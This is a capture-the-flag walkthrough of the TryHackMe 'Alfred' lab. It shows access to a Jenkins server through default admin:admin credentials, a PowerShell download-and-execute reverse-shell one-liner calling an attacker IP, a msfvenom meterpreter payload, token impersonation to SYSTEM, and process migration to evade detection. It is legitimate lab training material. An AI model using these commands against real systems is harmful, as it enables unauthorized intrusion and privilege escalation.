> For the complete documentation index, see [llms.txt](https://kyou00.gitbook.io/xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kyou00.gitbook.io/xyz/tryhackme/view/alfred.md).

# Alfred

March 19, 2024

**Task 1: Initial Access**

```
nmap -oN nmap-all 10.10.108.118 -p- -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-19 13:04 PST
Nmap scan report for 10.10.108.118
Host is up (0.25s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 304.02 seconds
```

First we when we visited the IIS website, we can see here the webpage

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fp11wEsVlEjlxOw7aKqjl%2Fimage.png?alt=media&amp;token=8f826670-b671-463f-9fb0-007076f3f8f6" alt=""><figcaption></figcaption></figure>

Then the second one that we visited is the jenkins login page which is located in port 8080 or http-proxy service

After several tries to login we discovered that the login credentials is default&#x20;

admin:admin

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FUa5hPg1Dd8nkmHNyGNNE%2Fimage.png?alt=media&amp;token=2935eb0c-6e8f-4d06-a5c8-98fbb236e06e" alt=""><figcaption></figcaption></figure>

Then this is the dashboard for the jenkins once you log in as an admin

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FUbsDVV4EnGKaN03B9qZt%2Fimage.png?alt=media&amp;token=573c77da-240b-4cab-933f-1cf86b9a6388" alt=""><figcaption></figcaption></figure>

After navigating to the dashboard now we can access the "project" which is a project that is named as project.

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FxV8rN8srqoTIHajwruNo%2Fimage.png?alt=media&amp;token=71472069-1ccb-4b0b-ba84-a70262cfb8f7" alt=""><figcaption></figcaption></figure>

Then we will just click configure which is located in the left side of the page. After that scroll down to the bottom part which is the windows batch command or our payload will be placed...

{% code overflow="wrap" %}

```
powershell iex (New-Object Net.WebClient).DownloadString('http://10.9.193.229:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.9.193.229 -Port 4444
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fy8hoq9OXPFEOQvbvEBrP%2Fimage.png?alt=media&amp;token=b02b3e73-6c4e-44b9-b851-f1d8f255e3ad" alt=""><figcaption></figcaption></figure>

After we applied and saved our changes to the project we will now click the "Build Now" button to build the project so that our payload will be executed.

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FP0Kho3n1sWZx73GtVSLN%2Fimage.png?alt=media&amp;token=a0e1db89-499c-4a9f-9811-13d6dddd3d8e" alt=""><figcaption></figcaption></figure>

We can see here in the console output the reverse shell payload is being processed by the server

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FJDjULQMXBCtiqvrlhos4%2Fimage.png?alt=media&amp;token=746890a0-89e3-49a3-ab7c-44e3be680dc8" alt=""><figcaption></figcaption></figure>

And then we got the reverse connection from the server which leads to user bruce

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FbxJAE0xSF7mKwo8Qlw6G%2Fimage.png?alt=media&amp;token=539a37c7-548b-4771-89ee-de6406b65f87" alt=""><figcaption></figcaption></figure>

**Task 2: Switching Shells**

Now we have to switch shell to have a better elevating privilege.&#x20;

First we have to make a reverse\_tcp payload using the msfvenom

{% code overflow="wrap" %}

```
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.9.193.229 LPORT=4445 -f exe -o shell-name.exe

```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FdcO6cG21xpHoMySEy4wd%2Fimage.png?alt=media&amp;token=ab878cc5-20c5-41b8-8e56-95f0085fbc1d" alt=""><figcaption></figcaption></figure>

Then we need a listener and we will use the meterpreter for that

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FDEcFjrDOZLnPN24Na033%2Fimage.png?alt=media&amp;token=9446e3cc-9728-4756-848b-ceca4ab36cb2" alt=""><figcaption></figcaption></figure>

We will just upload the payload the same as before how we got the reverse shell connection

{% code overflow="wrap" %}

```
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.9.193.229:8000/shell-name.exe','shell-name.exe')"
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FCgAvWj8qeF2IyRaooaAK%2Fimage.png?alt=media&amp;token=60576fd8-6311-4896-8785-d286df52de50" alt=""><figcaption></figcaption></figure>

Just click the build now again

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FZFPpSk9naMY6oHByJz6R%2Fimage.png?alt=media&amp;token=4b454f56-cbdb-4dbe-adb6-4311471850b7" alt=""><figcaption></figcaption></figure>

Then payload is now being processed

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FSh2cHsIkkLxlOLwj0jpv%2Fimage.png?alt=media&amp;token=07719912-91a5-4445-8c9e-d8da8bb653f4" alt=""><figcaption></figcaption></figure>

After we downloaded the malicious exe or the reverse tcp exe. Now we have to get in the box another time using the reverse payload before.&#x20;

So once again we just apply and save this.

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FUOOsHZ5Qb6CBQ5YSys9y%2Fimage.png?alt=media&amp;token=6e66890d-f2f0-489d-95af-1e44fc82d942" alt=""><figcaption></figcaption></figure>

Click the build now

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FnGhhmpFndq5q8BllVknn%2Fimage.png?alt=media&amp;token=2ae2aeb8-bc12-41e0-8aa3-4d28a30f0bcd" alt=""><figcaption></figcaption></figure>

As we get back into the box we can see our newly created malicious exe or the reverse tcp for our meterpreter. We just have to execute it&#x20;

```
Start-Process "shell-name.exe"
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FDCitORfpK6fUt7Dxaf1w%2Fimage.png?alt=media&amp;token=f123f4e4-9e29-42b5-97fc-92ef65dd9deb" alt=""><figcaption><p>. </p></figcaption></figure>

After we execute the .exe file, now we got the reverse tcp in the meterpreter

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FwLEzr4GIY9VOHvEWSm8E%2Fimage.png?alt=media&amp;token=e6734609-2ce2-4023-99ab-eed5a91f8463" alt=""><figcaption></figcaption></figure>

First we have to use shell for us to get the normal terminal

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FeHkKIE0XlKvCH6OlWaLN%2Fimage.png?alt=media&amp;token=ffeb98c3-37b5-4105-8de3-38e4b43a89f8" alt=""><figcaption></figcaption></figure>

Then use the command whoami /priv to view our privilege&#x20;

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F1PkfKXICE0tvXzymxVM2%2Fimage.png?alt=media&amp;token=267b9112-233b-4053-9fe9-4b0d265a5cca" alt=""><figcaption></figcaption></figure>

After that we will exit from the shell and use the command load incognito&#x20;

"Incognito allows us to impersonate user tokens. It was first integrated into Metasploit first, then to Meterpreter. In this recipe, we will be covering Incognito and use cases. Tokens are similar to web cookies." - From google

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FIqMWbHSnGAbGrgwAolln%2Fimage.png?alt=media&amp;token=7a6669c8-e87f-4f56-8c41-5ca27cb31745" alt=""><figcaption></figcaption></figure>

Use the list\_tokens -g to view the availabe tokens that we can impersonate

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fhb7lBCklTMcJTfduhWxL%2Fimage.png?alt=media&amp;token=0ce6ca84-9b3d-4a8d-9d6a-d08d348925d3" alt=""><figcaption></figcaption></figure>

Then just use impersonate\_token command and the user that we desire, of course the first user that we will try is administrator

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Ff9Bj7kSuSwymclLX237Z%2Fimage.png?alt=media&amp;token=232bbfb3-0175-4c40-93b8-4eb1a9e14a82" alt=""><figcaption></figcaption></figure>

We got the NT authority\system

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F68wMHn0W1FuYl8jeGMQ4%2Fimage.png?alt=media&amp;token=cba4b9f9-bc46-49f9-a7b8-568b69c8fbfb" alt=""><figcaption></figcaption></figure>

After that we will get rid of our process in the processes so that we can avoid getting detected

Now view the processes in the box

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FhzWQESVowHOI0ODqoB6b%2Fimage.png?alt=media&amp;token=30ca3bb0-cb25-45d9-8a9e-e97e841362c5" alt=""><figcaption></figcaption></figure>

Just migrate into the services.exe process

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FBz8Mqm5tXP8O70NShqDL%2Fimage.png?alt=media&amp;token=4d3cd43b-69e6-4410-b178-cb19fc760184" alt=""><figcaption></figcaption></figure>

When we use the PS command again, now we can't see the shell-name.exe process that we was on before.

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FbYORDFxY9hcavHV6JZG9%2Fimage.png?alt=media&amp;token=b3c96988-3a57-4e05-8f49-f28096d1890f" alt=""><figcaption></figcaption></figure>

Having the highest privilege user in the box will now be able to view the root.txt

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FMSQVKJgGI5CABoTOZgcI%2Fimage.png?alt=media&amp;token=41ec1e34-f1d7-484b-8688-d76d753502b9" alt=""><figcaption></figcaption></figure>
